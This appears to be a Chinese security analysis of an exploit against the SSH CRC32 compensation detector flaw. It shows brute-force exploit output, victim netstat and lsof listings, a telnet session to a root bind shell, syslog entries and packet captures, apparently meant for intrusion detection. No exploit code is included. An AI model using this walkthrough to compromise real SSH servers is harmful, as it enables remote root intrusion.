[摘要]////////\\\\! bruteforced h->ident buff distance: 5bfbed88 trying retloc_delta: 35 ....! found h...
////////\\\\!
bruteforced h->ident buff distance: 5bfbed88
trying retloc_delta: 35
....!
found high words of possible return address: 808
trying to exploit
....
trying retloc_delta: 37
.!
found high words of possible return address: 805
trying to exploit
....
trying retloc_delta: 39
......
trying retloc_delta: 3b
......
trying retloc_delta: 3d
!
found high words of possible return address: 804
trying to exploit
....
trying retloc_delta: 3f
......
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
这里看来，攻击攻击相似被"停止"了，返回被攻击系统查看却发现被开了后门。
被测试系统一方再现
=======================
在利用漏洞之前，被测试系统显示标准SSH守护程序运行在22/tcp端口，要被
测试的应用程序运行在2222/tcp端口，两个都在监听状态，而且标准SSH守护
程序有一个外部连接(10.10.10.2:33354)，通过netstat查看如下：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
而在攻击程序"停止"以后，再用netstat查看网络监听状态如下：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:2222 10.10.10.10:32965 ESTABLISHED
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
发现有新的服务在12345/tcp端口监听。
返回攻击者主机，使用netstat查看网络状态，发现程序使用了暴力猜测地址
方式攻击：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN
tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED
tcp 0 0 10.10.10.3:2222 10.10.10.10:33075 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33074 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33072 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33071 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33069 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33067 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33066 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33064 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33063 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33062 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33061 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33060 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33059 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33058 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33056 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33055 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33053 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33051 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33050 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33048 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33047 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33046 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33042 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33041 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33040 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33039 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33038 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33036 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33035 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33034 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33033 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33032 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33030 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33029 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33028 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33027 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33024 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33023 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33022 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33021 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33020 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33016 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33014 TIME_WAIT
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
而使用LiSt Open Files ("lsof")[4]工具显示被测试的SSH守护程序开启了一个
新的监听端口：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# lsof -p 9364
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
sshd 9364 root cwd DIR 3,3 1024 2 /
sshd 9364 root rtd DIR 3,3 1024 2 /
sshd 9364 root txt REG 3,3 655038 442413 /usr/local/src/ssh-1.2.31/sbin/sshd1
sshd 9364 root mem REG 3,3 340771 30722 /lib/ld-2.1.3.so
sshd 9364 root mem REG 3,3 370141 31107 /lib/libnsl-2.1.3.so
sshd 9364 root mem REG 3,3 66231 31103 /lib/libcrypt-2.1.3.so
sshd 9364 root mem REG 3,3 47008 31113 /lib/libutil-2.1.3.so
sshd 9364 root mem REG 3,3 4101836 31102 /lib/libc-2.1.3.so
sshd 9364 root mem REG 3,3 246652 31109 /lib/libnss_files-2.1.3.so
sshd 9364 root mem REG 3,3 252234 31111 /lib/libnss_nisplus-2.1.3.so
sshd 9364 root mem REG 3,3 255963 31110 /lib/libnss_nis-2.1.3.so
sshd 9364 root mem REG 3,3 67580 31108 /lib/libnss_dns-2.1.3.so
sshd 9364 root mem REG 3,3 169720 31112 /lib/libresolv-2.1.3.so
sshd 9364 root 0u CHR 1,3 4110 /dev/null
sshd 9364 root 1u CHR 1,3 4110 /dev/null
sshd 9364 root 2u CHR 1,3 4110 /dev/null
sshd 9364 root 3u inet 10202 TCP *:12345 (LISTEN)
sshd 9364 root 4u inet 10197 TCP 10.10.10.3:2222->10.10.10.10:33190 (CLOSE_WAIT)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
很明显，攻击程序成功利用此漏洞获得ROOT SHELL，并绑定了一个高端TCP端口。
这样攻击者可以使用任何"telnet"或者"rc"工具连接到此端口并以超级用户的
方式执行任意命令，如下所示：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac ~ >> telnet 10.10.10.3 12345
Trying 10.10.10.3...
Connected to 10.10.10.3.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
date;
Thu Nov 1 18:04:42 PST 2001
netstat -an --inet;
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.3:12345 10.10.10.10:33077 ESTABLISHED
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN
tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
exit;
Connection closed by foreign host.
root@plac ~ >>
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[注意]：使用telnet要加";"号，而nc连接不需要。
等攻击者退出以后，被测试系统网络状态返回正常：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
如果syslog日志功能开启了，连接和暴力测试的信息全部会记录下来(注意，这个是
对SSH.com 1.2.31在Red Hat LInux 6.0上的测试 -- 日志标志会和记录OpenSSH
不一样)：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Nov 1 18:46:14 victim sshd[9510]: log: Connection from 10.10.10.10 port 33298
Nov 1 18:46:19 victim sshd[9511]: log: Connection from 10.10.10.10 port 33299
Nov 1 18:46:22 victim sshd[9512]: log: Connection from 10.10.10.10 port 33300
Nov 1 18:46:26 victim sshd[9513]: log: Connection from 10.10.10.10 port 33301
Nov 1 18:46:31 victim sshd[9515]: log: Connection from 10.10.10.10 port 33302
Nov 1 18:46:35 victim sshd[9516]: log: Connection from 10.10.10.10 port 33303
Nov 1 18:46:39 victim sshd[9517]: log: Connection from 10.10.10.10 port 33304
Nov 1 18:46:43 victim sshd[9518]: log: Connection from 10.10.10.10 port 33305
Nov 1 18:46:47 victim sshd[9518]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:46:47 victim sshd[9519]: log: Connection from 10.10.10.10 port 33306
Nov 1 18:46:52 victim sshd[9519]: fatal: Connection closed by remote host.
Nov 1 18:46:53 victim sshd[9520]: log: Connection from 10.10.10.10 port 33307
Nov 1 18:46:57 victim sshd[9521]: log: Connection from 10.10.10.10 port 33308
Nov 1 18:47:01 victim sshd[9522]: log: Connection from 10.10.10.10 port 33309
Nov 1 18:47:06 victim sshd[9523]: log: Connection from 10.10.10.10 port 33310
Nov 1 18:47:10 victim sshd[9524]: log: Connection from 10.10.10.10 port 33311
Nov 1 18:47:14 victim sshd[9525]: log: Connection from 10.10.10.10 port 33312
Nov 1 18:47:19 victim sshd[9526]: log: Connection from 10.10.10.10 port 33313
Nov 1 18:47:24 victim sshd[9527]: log: Connection from 10.10.10.10 port 33314
Nov 1 18:47:24 victim sshd[9527]: fatal: Connection closed by remote host.
Nov 1 18:47:46 victim sshd[9528]: log: Connection from 10.10.10.10 port 33315
Nov 1 18:47:46 victim sshd[9529]: log: Connection from 10.10.10.10 port 33316
Nov 1 18:47:47 victim sshd[9530]: log: Connection from 10.10.10.10 port 33317
Nov 1 18:47:47 victim sshd[9531]: log: Connection from 10.10.10.10 port 33318
Nov 1 18:47:47 victim sshd[9532]: log: Connection from 10.10.10.10 port 33319
Nov 1 18:47:48 victim sshd[9533]: log: Connection from 10.10.10.10 port 33320
Nov 1 18:47:48 victim sshd[9534]: log: Connection from 10.10.10.10 port 33321
Nov 1 18:47:48 victim sshd[9535]: log: Connection from 10.10.10.10 port 33322
Nov 1 18:47:49 victim sshd[9536]: log: Connection from 10.10.10.10 port 33323
Nov 1 18:47:49 victim sshd[9537]: log: Connection from 10.10.10.10 port 33324
Nov 1 18:47:50 victim sshd[9538]: log: Connection from 10.10.10.10 port 33325
Nov 1 18:47:50 victim sshd[9539]: log: Connection from 10.10.10.10 port 33326
Nov 1 18:47:50 victim sshd[9540]: log: Connection from 10.10.10.10 port 33327
Nov 1 18:47:51 victim sshd[9541]: log: Connection from 10.10.10.10 port 33328
Nov 1 18:47:51 victim sshd[9542]: log: Connection from 10.10.10.10 port 33329
Nov 1 18:47:51 victim sshd[9543]: log: Connection from 10.10.10.10 port 33330
Nov 1 18:47:52 victim sshd[9544]: log: Connection from 10.10.10.10 port 33331
Nov 1 18:47:52 victim sshd[9545]: log: Connection from 10.10.10.10 port 33332
Nov 1 18:47:52 victim sshd[9546]: log: Connection from 10.10.10.10 port 33333
Nov 1 18:47:53 victim sshd[9547]: log: Connection from 10.10.10.10 port 33334
Nov 1 18:47:53 victim sshd[9548]: log: Connection from 10.10.10.10 port 33335
Nov 1 18:47:54 victim sshd[9549]: log: Connection from 10.10.10.10 port 33336
Nov 1 18:47:54 victim sshd[9550]: log: Connection from 10.10.10.10 port 33337
Nov 1 18:47:54 victim sshd[9551]: log: Connection from 10.10.10.10 port 33338
Nov 1 18:47:55 victim sshd[9552]: log: Connection from 10.10.10.10 port 33339
Nov 1 18:47:55 victim sshd[9553]: log: Connection from 10.10.10.10 port 33340
Nov 1 18:47:55 victim sshd[9554]: log: Connection from 10.10.10.10 port 33341
Nov 1 18:47:56 victim sshd[9555]: log: Connection from 10.10.10.10 port 33342
Nov 1 18:47:56 victim sshd[9556]: log: Connection from 10.10.10.10 port 33343
Nov 1 18:47:56 victim sshd[9555]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:47:57 victim sshd[9557]: log: Connection from 10.10.10.10 port 33344
Nov 1 18:47:57 victim sshd[9558]: log: Connection from 10.10.10.10 port 33345
Nov 1 18:47:57 victim sshd[9559]: log: Connection from 10.10.10.10 port 33346
Nov 1 18:47:58 victim sshd[9560]: log: Connection from 10.10.10.10 port 33347
Nov 1 18:47:58 victim sshd[9561]: log: Connection from 10.10.10.10 port 33348
Nov 1 18:47:59 victim sshd[9562]: log: Connection from 10.10.10.10 port 33349
Nov 1 18:47:59 victim sshd[9563]: log: Connection from 10.10.10.10 port 33350
Nov 1 18:47:59 victim sshd[9564]: log: Connection from 10.10.10.10 port 33351
Nov 1 18:48:00 victim sshd[9565]: log: Connection from 10.10.10.10 port 33352
Nov 1 18:48:00 victim sshd[9566]: log: Connection from 10.10.10.10 port 33353
Nov 1 18:48:00 victim sshd[9567]: log: Connection from 10.10.10.10 port 33354
Nov 1 18:48:01 victim sshd[9568]: log: Connection from 10.10.10.10 port 33355
Nov 1 18:48:01 victim sshd[9569]: log: Connection from 10.10.10.10 port 33356
Nov 1 18:48:02 victim sshd[9570]: log: Connection from 10.10.10.10 port 33357
Nov 1 18:48:02 victim sshd[9571]: log: Connection from 10.10.10.10 port 33358
Nov 1 18:48:02 victim sshd[9572]: log: Connection from 10.10.10.10 port 33359
Nov 1 18:48:03 victim sshd[9573]: log: Connection from 10.10.10.10 port 33360
Nov 1 18:48:03 victim sshd[9574]: log: Connection from 10.10.10.10 port 33361
Nov 1 18:48:03 victim sshd[9575]: log: Connection from 10.10.10.10 port 33362
Nov 1 18:48:04 victim sshd[9576]: log: Connection from 10.10.10.10 port 33363
Nov 1 18:48:04 victim sshd[9577]: log: Connection from 10.10.10.10 port 33364
Nov 1 18:48:04 victim sshd[9578]: log: Connection from 10.10.10.10 port 33365
Nov 1 18:48:05 victim sshd[9579]: log: Connection from 10.10.10.10 port 33366
Nov 1 18:48:05 victim sshd[9580]: log: Connection from 10.10.10.10 port 33367
Nov 1 18:48:06 victim sshd[9581]: log: Connection from 10.10.10.10 port 33368
Nov 1 18:48:06 victim sshd[9582]: log: Connection from 10.10.10.10 port 33369
Nov 1 18:48:06 victim sshd[9583]: log: Connection from 10.10.10.10 port 33370
Nov 1 18:48:07 victim sshd[9584]: log: Connection from 10.10.10.10 port 33371
Nov 1 18:48:07 victim sshd[9585]: log: Connection from 10.10.10.10 port 33372
Nov 1 18:48:07 victim sshd[9586]: log: Connection from 10.10.10.10 port 33373
Nov 1 18:48:08 victim sshd[9587]: log: Connection from 10.10.10.10 port 33374
Nov 1 18:48:08 victim sshd[9586]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:08 victim sshd[9588]: log: Connection from 10.10.10.10 port 33375
Nov 1 18:48:08 victim sshd[9587]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:08 victim sshd[9589]: log: Connection from 10.10.10.10 port 33376
Nov 1 18:48:08 victim sshd[9588]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:09 victim sshd[9590]: log: Connection from 10.10.10.10 port 33377
Nov 1 18:48:09 victim sshd[9589]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:09 victim sshd[9591]: log: Connection from 10.10.10.10 port 33378
Nov 1 18:48:09 victim sshd[9590]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:09 victim sshd[9592]: log: Connection from 10.10.10.10 port 33379
Nov 1 18:48:09 victim sshd[9591]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:10 victim sshd[9592]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:10 victim sshd[9593]: log: Connection from 10.10.10.10 port 33380
Nov 1 18:48:10 victim sshd[9594]: log: Connection from 10.10.10.10 port 33381
Nov 1 18:48:10 victim sshd[9593]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:11 victim sshd[9595]: log: Connection from 10.10.10.10 port 33382
Nov 1 18:48:11 victim sshd[9594]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:11 victim sshd[9596]: log: Connection from 10.10.10.10 port 33383
Nov 1 18:48:11 victim sshd[9597]: log: Connection from 10.10.10.10 port 33384
Nov 1 18:48:11 victim sshd[9596]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:12 victim sshd[9598]: log: Connection from 10.10.10.10 port 33385
Nov 1 18:48:12 victim sshd[9597]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:12 victim sshd[9599]: log: Connection from 10.10.10.10 port 33386
Nov 1 18:48:12 victim sshd[9598]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:12 victim sshd[9600]: log: Connection from 10.10.10.10 port 33387
Nov 1 18:48:12 victim sshd[9599]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:13 victim sshd[9601]: log: Connection from 10.10.10.10 port 33388
Nov 1 18:48:13 victim sshd[9602]: log: Connection from 10.10.10.10 port 33389
Nov 1 18:48:13 victim sshd[9603]: log: Connection from 10.10.10.10 port 33390
Nov 1 18:48:14 victim sshd[9604]: log: Connection from 10.10.10.10 port 33391
Nov 1 18:48:14 victim sshd[9605]: log: Connection from 10.10.10.10 port 33392
Nov 1 18:48:15 victim sshd[9606]: log: Connection from 10.10.10.10 port 33393
Nov 1 18:48:15 victim sshd[9605]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:48:15 victim sshd[9607]: log: Connection from 10.10.10.10 port 33394
Nov 1 18:48:16 victim sshd[9608]: log: Connection from 10.10.10.10 port 33395
Nov 1 18:48:16 victim sshd[9609]: log: Connection from 10.10.10.10 port 33396
Nov 1 18:48:16 victim sshd[9610]: log: Connection from 10.10.10.10 port 33397
Nov 1 18:48:17 victim sshd[9611]: log: Connection from 10.10.10.10 port 33398
Nov 1 18:48:17 victim sshd[9611]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:48:17 victim sshd[9612]: log: Connection from 10.10.10.10 port 33399
Nov 1 18:48:18 victim sshd[9613]: log: Connection from 10.10.10.10 port 33400
Nov 1 18:48:18 victim sshd[9614]: log: Connection from 10.10.10.10 port 33401
Nov 1 18:58:18 victim sshd[9614]: fatal: Timeout before authentication.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
注意日志条目的最后一条，如果成功利用此漏洞被入侵，认证过程就会停止，因为
此时SHELLCODE的后门程序已经执行，这样你可以连接端口进行任何操作。唯一的
问题是，SSH守护程序(至少SSH.com 1.2.31)会由于认证过程不完整而超时，导致
关闭开启的SHELL。一般在监听shell的父进程关闭只前会有10分钟时间空域。
网络通信信息分析
=====================
在这里使用了Tcpdump来截获上面的攻击行为，记录信息在sshdx.dump，可以被用
来IDS入侵检测系统获得攻击标志信息。如果你的IDS系统不支持tcpdump文件，你
可以使用"tcpreplay"[12]来转换tcpdump信息。
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# tcpdump -s1500 -w sshdx.dump ip host 10.10.10.3 &
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
这样可以很容易的查看SSH守护程序产生的多个连接信息，使用"ngrep"[5]工具可以
辨认出最后连接和插入SHELLCODE的暴力破解攻击信息：
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
. . .
T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
SSH-1.5-1.2.31.
T 10.10.10.10:32957 -> 10.10.10.3:2222 [AP]
SSH-1.5-OpenSSH_2.2.0p1.
T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
............GA..@.......%....`..P.....D&..2.+7#...1!?..c.r).8.^.h.....
..I..b6..9.f........N..0....:BAh@s.e...H......(.D2.Zg......#.......\.j
W...O$....6.......$...V..;...U.@Y.K2.p<\..o..?..l.........*.p.K<s..,..
.@7.wBBy......1.i..%".....G*g.G.t(......M........[.......J......<.
T 10.10.10.10:32957 -> 10.10.10.3:2222 [AP]
............GA..@.....`G.Fg.g.!.i.}..........._.e....=../..6....;....)
T.....
关键词：对于SSH crc32 compensation attack detector exploit 的区分